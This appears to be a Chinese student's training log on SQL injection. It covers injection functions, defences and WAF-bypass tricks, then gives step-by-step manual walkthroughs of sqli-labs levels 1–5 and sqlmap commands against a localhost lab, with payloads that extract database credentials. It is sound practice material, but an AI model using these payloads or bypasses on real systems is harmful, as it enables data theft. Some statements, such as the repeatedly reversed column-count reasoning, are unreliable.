实训日志 day5

目录

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

1.1 SQL注入原理

1.2 SQL注入常用函数及含义

1.3 SQL注入防御手段

输入验证

使用参数化查询

使用ORM框架

数据库权限管理

其他防御措施

1.4 SQL注入常用绕过waf的方法

编码伪装

转义字符伪装

随机数混淆

大小写伪装

双写伪装

内联注释伪装

2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap

第一关

第二关

第三关

第四关

第五关

3.总结SQLi的手工注入的步骤

4.使用sqlmap通过或验证第六关


1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

1.1 SQL注入原理

        SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

1.2 SQL注入常用函数及含义

函数名称函数功能
user()返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号
version()返回当前数据库的版本
database()返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到
group_concat()把数据库中的某列数据或某几列数据合并为一个字符串
@@datadir数据库路径
@@version_compile_os操作系统版本

1.3 SQL注入防御手段

输入验证

        输入验证是防止SQL注入的第一道防线。通过对用户输入进行严格的格式检查和限制,可以有效减少SQL注入的风险。

使用参数化查询

        参数化查询通过将SQL语句和用户输入分开,避免将用户输入直接拼接到SQL查询中,从根本上杜绝SQL注入。

使用ORM框架

        对象关系映射(ORM)框架通过将数据库操作抽象为对象操作,简化了数据库操作的同时,内置了防止SQL注入的机制。

数据库权限管理

        通过合理设置数据库用户权限,限制数据库用户的操作范围和权限,可以减少SQL注入攻击的影响。

其他防御措施

        使用Web应用防火墙(WAF):检测并阻止恶意请求。
        定期安全测试和代码审计:发现并修复潜在的SQL注入漏洞。
        更新和补丁:及时更新数据库和应用程序,修复已知漏洞。

1.4 SQL注入常用绕过waf的方法

编码伪装

        编码绕过的原理是,攻击者在注入时采用了一些特殊的字符编码方式,从而绕过WAF的检测过程。这种编码绕过的思路就是利用特殊的字符编码方式,将恶意SQL语句转化为WAF规则无法匹配的形式。伪装编码又分为URL编码、Unicode编码、十六进制编码、二次编码:

转义字符伪装

伪装前'UNION SELECT username, password FROM users --
伪装后\' UNION SELECT username, password FROM users --


        在上述示例中,攻击者在原始payload中使用了单引号,在单引号前面加上了反斜杠【 \ 】,形成了转义字符 【\ ’ 】。但在程序中,反斜杠本身也是一个转义字符。我们通过将反斜杠和单引号组合使用,就可以在SQL语句中实现一个“接近”的单引号字符,而不是一个完整的单引号字符。这样,攻击者就成功地绕过了对单引号的过滤和校验。

随机数混淆

伪装前UNION SELECT username, password FROM users WHERE id=1
伪装后' UNION SELECT username, password FROM users WHERE id=1 AND 1=(SELECT RAND() < 0.5) --

        在这个Payload中,攻击者使用了RAND()函数来生成一个随机数,并将它与0.5进行比较。因为RAND()函数可以返回0到1之间的任意数值,所以此处的比较操作的结果是随机的:有50%的几率生成的随机数小于0.5,50%的几率大于等于0.5。当生成的随机数小于0.5时,Payload会变成:

UNION SELECT username, password FROM users WHERE id=1 AND 1=1

当生成的随机数大于等于0.5时,Payload会变成:

UNION SELECT username, password FROM users WHERE id=1 AND 1=0

        这两种情况对应了恶意代码执行成功和失败的情况。同时,攻击者还使用了–注释符号来消除掉多余的Payload,使得恶意代码更加难以被检测到。

        采用随机数混淆的策略可以让Payload在每次注入时都不同,从而增加了WAF检测的难度。同时,由于随机数的不可预测性,攻击者可以借助随机的结果来判断注入是否成功,而WAF却无法识别这一点。

大小写伪装

        这个比较简单了,就是通过大小写混合来伪装,比如:UnIon SeleCt

双写伪装

        如:UNIunionON SELselectECT 原理也很简单:waf将其识别为普通字符而逃过过滤,但是应用程序按照union select来处理。

内联注释伪装

        内联注释SQL注入的原理是在注入语句中嵌入内联注释,将恶意SQL代码隐藏在注释中,使之不会被防火墙检测到。例如,攻击者可以在注入语句中夹杂内联注释符号“/* */”,来进行伪装,使应用程序误解为注释掉的一部分代码,而实际上是执行了注入的恶意代码。

2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap

第一关

        提示你输入数字值的ID作为参数,我们输入?id=1,回显如下

        接下来我们判断sql语句是否是拼接,且是字符型还是数字型,如果是数字型,会因为单引号缺少匹配而报错,这里正常执行了,所以是字符型。

?id=1' --+

使用联合注入,首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

        3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1'union select 1,database(),version()--+

可知该数据库名为security,获取该数据库的表名:

?id=-1'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+

可知表有emails,referers,uagents,users,获取users表数据:

?id=1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+

注意,这里爆破数据的时候就不要用-1了,用正常的id

爆破字段的具体内容

?id=1' union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

这样,所有用户的账号密码都爆破出来了

第二关

        同样是提示你输入数字值的ID作为参数,我们输入?id=1,回显如下

      接下来我们判断sql语句是否是拼接,且是字符型还是数字型,如果是数字型,会因为单引号缺少匹配而报错,这里报错了,所以是数字型。

?id=1' --+

使用联合注入,首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1 order by 3 --+

        3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1 union select 1,2,3--+

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1 union select 1,database(),version()--+

可知该数据库名为security,获取该数据库的表名:

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+

可知表有emails,referers,uagents,users,获取users表数据:

?id=1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+

注意,这里爆破数据的时候就不要用-1了,用正常的id

爆破字段的具体内容

?id=1 union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

这样,所有用户的账号密码都爆破出来了

第三关

      同样是提示你输入数字值的ID作为参数,我们输入?id=1,回显如下

      接下来我们判断sql语句是否是拼接,且是字符型还是数字型,如果是数字型,会因为单引号缺少匹配而报错,这里报错了,所以是数字型。当然没那么简单,可以看到这里的报错其实和之前的略有不同了,他多了个反括号,报错应该是我们缺少括号闭合导致的!

?id=1'

加上反括号查看结果,这里没有报错,所以是字符型。

?id=1') --+

        所以这里有个小总结,不要一开始就尝试?id = 1' --+,因为注释可能会消掉一些重要报错提示,可以先尝试?id= 1',就比如这题的反括号提示,差点就漏掉了。

使用联合注入,首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1') order by 3 --+

        3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1') union select 1,2,3--+

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1') union select 1,database(),version()--+

可知该数据库名为security,获取该数据库的表名:

?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+

可知表有emails,referers,uagents,users,获取users表数据:

?id=1') union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+

注意,这里爆破数据的时候就不要用-1了,用正常的id

爆破字段的具体内容

?id=1') union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

这样,所有用户的账号密码都爆破出来了

第四关

  同样是提示你输入数字值的ID作为参数,我们输入?id=1,回显如下

      接下来我们判断sql语句是否是拼接,且是字符型还是数字型,如果是单引号闭合的话,无论怎样都会因为缺失配对而报错的,因为我这里没有设置注释符,所以可以认为单引号在这是不管用的

?id=1'

尝试使用双引号查看结果,这里报错依然有)

?id=1"

加上反括号查看结果,这里没有报错,所以是字符型。

?id=1") --+

使用联合注入,首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1") order by 3 --+

        3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1") union select 1,2,3--+

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1") union select 1,database(),version()--+

可知该数据库名为security,获取该数据库的表名:

?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+

可知表有emails,referers,uagents,users,获取users表数据:

?id=1") union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+

注意,这里爆破数据的时候就不要用-1了,用正常的id

爆破字段的具体内容

?id=1") union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

这样,所有用户的账号密码都爆破出来了

第五关

  同样是提示你输入数字值的ID作为参数,我们输入?id=1,回显如下,虽然回显不一样了,但至少没报错,不影响我们的注入行为,嘿嘿。

      接下来我们判断sql语句是否是拼接,且是字符型还是数字型,如果是单引号闭合的话,无论怎样都会因为缺失配对而报错的,因为我这里没有设置注释符,所以可以认为单引号在这是不管用的

?id=1'

这里是最基本的报错,接下来加入注释符,判断得出他是字符型注入

?id=1'--+

使用联合注入,首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1' order by 3 --+

        3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1' union select 1,2,3--+

不给信息是吧...至少会报错,也就是说他能回答是或者不是,海龟汤现场,可以用布尔盲注,但那个比较麻烦,按照大于小于去慢慢卡,这里利用了updatexml()函数,在其任一参数处执行SQL语句,这样就会在报错信息中显示出查询结果:

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1' union select 1,updatexml(1, concat(1,database(),version()),3),3--+

测试可知concat中传的第1个参数没回显,第2/3个参数在报错中进行了拼接显示,可知该数据库名为security,数据库版本为5.7.26,获取该数据库的表名:

?id=-1' union select 1,updatexml(1, concat(1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),3), 3),3--+

可知表有emails,referers,uagents,users,获取users表数据:

?id=-1' union select 1,updatexml(1, concat(1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3), 3),3--+

爆破字段的具体内容

?id=1' union select 1,updatexml(1, concat(1,(select group_concat(username) from users),3), 3),3--+
?id=1' union select 1,updatexml(1, concat(1,(select group_concat(password) from users),3), 3),3--+

这样,所有用户的账号密码都爆破出来了。

注:这里由于updatexml()对输出的字符长度做了限制,导致最长只能显示32位。


3.总结SQLi的手工注入的步骤

(1)判断是否存在注入,找到注入点;

(2)判断类型并且闭合语句;

(3)使用order by 关键字来判断字段数和回显位置,可用二分法;

(4)选择注入语句,使用union查询或者报错注入;

(5)获取数据库用户,版本,当前连接的数据库等信息;

(6)获取数据库表的信息,获取列信息;

(7)获取表中的数据。

4.使用sqlmap通过或验证第六关

使用?id=1,使sqlmap识别注入点

使用powershell打开sqlmap,使用命令爆数据库:

python .\sqlmap.py -url "http://127.0.0.1/sqli-labs/Less-6/?id=1" --batch -dbs

爆security数据库的表:

python .\sqlmap.py -url "http://127.0.0.1/sqli-labs/Less-6/?id=1" --dbms=MySQL -D 'security' --tables

爆users表的列

python .\sqlmap.py -url "http://127.0.0.1/sqli-labs/Less-6/?id=1" --dbms=MySQL -D 'security' -T 'users' --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值